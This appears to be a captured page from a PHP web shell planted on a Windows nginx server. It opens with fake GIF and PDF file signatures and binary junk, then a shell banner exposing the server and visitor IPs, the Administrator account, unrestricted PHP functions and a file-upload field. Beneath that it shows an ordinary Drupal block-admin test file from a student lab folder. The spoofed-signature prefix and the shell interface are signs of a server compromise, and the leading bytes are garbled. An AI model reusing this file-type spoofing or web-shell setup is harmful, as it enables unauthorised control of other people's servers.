GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /nginx/html/Student/JimMartinson/Lab12/drupal/core/modules/block/src/Tests/ |
Upload File : |
<?php namespace Drupal\block\Tests; use Drupal\simpletest\WebTestBase; /** * Tests the block system with admin themes. * * @group block */ class BlockAdminThemeTest extends WebTestBase { /** * Modules to install. * * @var array */ public static $modules = ['block', 'contextual']; /** * Check for the accessibility of the admin theme on the block admin page. */ public function testAdminTheme() { // Create administrative user. $admin_user = $this->drupalCreateUser(['administer blocks', 'administer themes']); $this->drupalLogin($admin_user); // Ensure that access to block admin page is denied when theme is not // installed. $this->drupalGet('admin/structure/block/list/bartik'); $this->assertResponse(403); // Install admin theme and confirm that tab is accessible. \Drupal::service('theme_handler')->install(['bartik']); $edit['admin_theme'] = 'bartik'; $this->drupalPostForm('admin/appearance', $edit, t('Save configuration')); $this->drupalGet('admin/structure/block/list/bartik'); $this->assertResponse(200); } /** * Ensure contextual links are disabled in Seven theme. */ public function testSevenAdminTheme() { // Create administrative user. $admin_user = $this->drupalCreateUser([ 'access administration pages', 'administer themes', 'access contextual links', 'view the administration theme', ]); $this->drupalLogin($admin_user); // Install admin theme and confirm that tab is accessible. \Drupal::service('theme_handler')->install(['seven']); $edit['admin_theme'] = 'seven'; $this->drupalPostForm('admin/appearance', $edit, t('Save configuration')); // Define our block settings. $settings = [ 'theme' => 'seven', 'region' => 'header', ]; // Place a block. $block = $this->drupalPlaceBlock('local_tasks_block', $settings); // Open admin page. $this->drupalGet('admin'); // Check if contextual link classes are unavailable. $this->assertNoRaw('<div data-contextual-id="block:block=' . $block->id() . ':langcode=en"></div>'); $this->assertNoRaw('contextual-region'); } }